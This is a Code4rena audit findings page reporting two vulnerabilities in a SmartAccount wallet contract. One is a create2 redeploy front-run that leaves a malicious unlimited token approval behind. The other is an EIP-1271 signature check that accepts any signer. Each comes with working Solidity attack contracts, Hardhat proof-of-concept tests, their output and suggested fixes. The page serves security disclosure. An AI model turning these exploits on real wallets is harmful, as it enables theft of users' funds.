Platform: Code4rena
Start Date: 04/01/2023
Pot Size: $60,500 USDC
Total HM: 15
Participants: 105
Period: 5 days
Judge: gzeon
Total Solo HM: 1
Id: 200
League: ETH
Rank: 65/105
Findings: 2
Award: $48.98
π Selected for report: 0
π Solo Findings: 0
π Selected for report: adriro
Also found by: 0x1f8b, 0x73696d616f, 0xdeadbeef0x, BClabs, HE1M, Haipls, Jayus, Kalzak, Lirios, Qeew, V_B, adriro, ast3ros, aviggiano, betweenETHlines, bin2chen, chaduke, dragotanqueray, ey88, giovannidisiena, hihen, horsefacts, ladboy233, wait, zaskoh
26.2582 USDC - $26.26
front-running create wallet,execute malicious token approve , steal token
user or relayer creates wallet mainly by using SmartAccountFactory.deployCounterFactualWallet(). The creation is done using _owner+_index as the salt, and the create2() method is used to create contract. The only limitation is that calling create2() but return address(0) will revert , this situation will happen when the wallet contract address already exists. but there is a problem, if the generated contract executes selfdestruct(), create2() can regenerate the contract with the same address, and will not revert. This opens up the possibility of front-run. So can the generated SmartAccount perform selfdestruct()? yes.SmartAccount has many mechanisms to execute the code, the simplest way is to specify the malicious target and Enum.Operation.DelegateCall by execFromEntryPoint(). The process is roughly as follows:
When the front-run is finished, bob gets the wallet address, but he doesn't know that this address already has USDC.allowance(alice)==type(uint256).max When bob transfers USDC to this wallet, alice can use allowance to take away USDC
test code:
add BadEntryPoint.sol
pragma solidity 0.8.12; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "../SmartAccount.sol"; import "../common/Enum.sol"; contract BadEntryPoint { function badApprove(address smartAccount,address token, address to) external { bytes memory datas = abi.encodeWithSelector(BadEntryPoint.approveAndDestruct.selector, token,to); SmartAccount(payable(smartAccount)).execFromEntryPoint(address(this),0,datas,Enum.Operation.DelegateCall,type(uint256).max); } function approveAndDestruct(address token, address to) external { ERC20(token).approve(to,type(uint256).max); selfdestruct(payable(address(0))); } }
modify gasEstimations.ts , add "re-deploy poc"
it("re-deploy poc", async function () { const BadEntryPoint = await ethers.getContractFactory("BadEntryPoint"); const badEntryPoint = await BadEntryPoint.deploy(); const expected = await walletFactory.getAddressForCounterfactualWallet( owner, 0 ); console.log("deploying new wallet..expected address: ", expected); console.log("**********front-run before bob allowance:",await token.allowance(expected,bob)); // ****@audit do front-run *****// await expect( walletFactory.deployCounterFactualWallet( owner, badEntryPoint.address, handler.address, 0 ) ) .to.emit(walletFactory, "SmartAccountCreated") .withArgs(expected, baseImpl.address, owner, "1.0.2", 0); await badEntryPoint.badApprove(expected,token.address,bob); // 1.*****approve and selfdestruct // await expect( walletFactory.deployCounterFactualWallet( owner, entryPoint.address, handler.address, 0 ) ) .to.emit(walletFactory, "SmartAccountCreated") .withArgs(expected, baseImpl.address, owner, "1.0.2", 0); console.log("**********front-run after bob allowance:",await token.allowance(expected,bob)); // 2.*****test allowance still // userSCW = await ethers.getContractAt( "contracts/smart-contract-wallet/SmartAccount.sol:SmartAccount", expected ); const entryPointAddress = await userSCW.entryPoint(); expect(entryPointAddress).to.equal(entryPoint.address); const walletOwner = await userSCW.owner(); expect(walletOwner).to.equal(owner); const walletNonce1 = await userSCW.getNonce(0); // only 0 space is in the context now const walletNonce2 = await userSCW.getNonce(1); const chainId = await userSCW.getChainId(); console.log("walletNonce1 ", walletNonce1); console.log("walletNonce2 ", walletNonce2); console.log("chainId ", chainId); await accounts[1].sendTransaction({ from: bob, to: expected, value: ethers.utils.parseEther("5"), }); });
After execution, you can see that the allowance is still there after the front-run:
$ npx hardhat test test/smart-wallet/gasEstimations.ts --grep re-deploy ... **********front-run before bob allowance: BigNumber { value: "0" } **********front-run after bob allowance: BigNumber { value: "115792089237316195423570985008687907853269984665640564039457584007913129639935" } ... β re-deploy poc (416ms)
add check require isAccountExist[proxy]==false
function deployCounterFactualWallet(address _owner, address _entryPoint, address _handler, uint _index) public returns(address proxy){ bytes32 salt = keccak256(abi.encodePacked(_owner, address(uint160(_index)))); bytes memory deploymentData = abi.encodePacked(type(Proxy).creationCode, uint(uint160(_defaultImpl))); // solhint-disable-next-line no-inline-assembly assembly { proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt) } require(address(proxy) != address(0), "Create2 call failed"); + require(isAccountExist[proxy]==false,"proxy used to exist"); // EOA + Version tracking emit SmartAccountCreated(proxy,_defaultImpl,_owner, VERSION, _index); BaseSmartAccount(proxy).init(_owner, _entryPoint, _handler); isAccountExist[proxy] = true; }
#0 - c4-judge
2023-01-17T07:28:14Z
gzeon-c4 marked the issue as duplicate of #460
#1 - c4-sponsor
2023-01-26T06:25:22Z
livingrockrises marked the issue as sponsor confirmed
#2 - livingrockrises
2023-01-26T06:25:50Z
Issue is valid but mitigation is not satisfactory as this can be done on other chains with fake handler/entry point.
#3 - c4-sponsor
2023-01-26T06:25:56Z
livingrockrises requested judge review
#4 - gzeon-c4
2023-02-10T12:24:17Z
agree, but still intend to give full credit since the warden highlighted a better attack path
#5 - c4-judge
2023-02-10T12:24:44Z
gzeon-c4 marked the issue as satisfactory
#6 - livingrockrises
2023-02-12T09:58:26Z
sure
22.7235 USDC - $22.72
the signature verification to fail completely.resulting in anybody being able to perform any transactions
execTransaction() uses checkSignatures() to check if the signature of the transaction is legitimate which supports three types of signatures
where if v == 0, it means that EIP-1271 is used The format of the signature is as follows:
{bytes32 r}{bytes32 s}{uint8 v}
when v = 0 _signer = address(uint160(uint256(r)));
Then call ISignatureValidator(_signer).isValidSignature() to verify the legitimacy
There is a problem here, the current implementation of checkSignatures() does not verify the legitimacy of this _signer, the value is parsed from the parameter:signatures so This value can be specified arbitrarily and does not verify the legitimacy of the signer, e.g., is the signer equal to the owner?
This allows any signer to be constructed, and as long as the signer supports isValidSignature(), then the validation will succeed and the transaction will be executed. This causes the signature verification to fail completely.
The test code is as follows:
add BadSignatureValidator.sol
pragma solidity 0.8.12; import "../SmartAccount.sol"; import "../interfaces/ISignatureValidator.sol"; contract BadSignatureValidator is ISignatureValidator { function isValidSignature(bytes memory _data, bytes memory _signature) public view override returns (bytes4){ return ISignatureValidatorConstants.EIP1271_MAGIC_VALUE; } function getEIP1271SignDataWithoutOwner() external view returns (bytes memory) { return bytes.concat(bytes32(bytes20(address(this))),bytes32(uint256(65)),bytes1(0),bytes32(uint256(0))); } }
modify gasEstimations.ts , add "skip-sign"
it("skip-sign", async function () { const BadSignatureValidator = await ethers.getContractFactory("BadSignatureValidator"); const badSignatureValidator = await BadSignatureValidator.deploy(); await walletFactory.deployCounterFactualWallet(owner,entryPoint.address,handler.address,0); const datas = await badSignatureValidator.getEIP1271SignDataWithoutOwner();// ****get 1271 sign data*** // const expected = await walletFactory.getAddressForCounterfactualWallet( owner, 0 ); let userSCW = await ethers.getContractAt( "contracts/smart-contract-wallet/SmartAccount.sol:SmartAccount", expected ); // ****don't revert, so any transaction can use this sign data // await userSCW.checkSignatures(ethers.constants.HashZero,[],datas.toString()); }); });
After execution, we can see that any transaction is possible, and the verification signature will pass
npx hardhat test test/smart-wallet/gasEstimations.ts --grep skip-sign β skip-sign (179ms)
when v==0οΌalso need check _signer == owner
function checkSignatures( bytes32 dataHash, bytes memory data, bytes memory signatures ) public view virtual { ... else if(v > 30) { // If v > 30 then default va (27,28) has been adjusted for eth_sign flow // To support eth_sign and similar we adjust v and hash the messageHash with the Ethereum message prefix before applying ecrecover _signer = ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", dataHash)), v - 4, r, s); - require(_signer == owner, "INVALID_SIGNATURE"); } else { _signer = ecrecover(dataHash, v, r, s); - require(_signer == owner, "INVALID_SIGNATURE"); } + require(_signer == owner, "INVALID_SIGNATURE");
#0 - c4-judge
2023-01-17T07:17:42Z
gzeon-c4 marked the issue as duplicate of #175
#1 - c4-sponsor
2023-01-26T00:18:05Z
livingrockrises marked the issue as sponsor confirmed
#2 - c4-judge
2023-02-10T12:28:27Z
gzeon-c4 marked the issue as satisfactory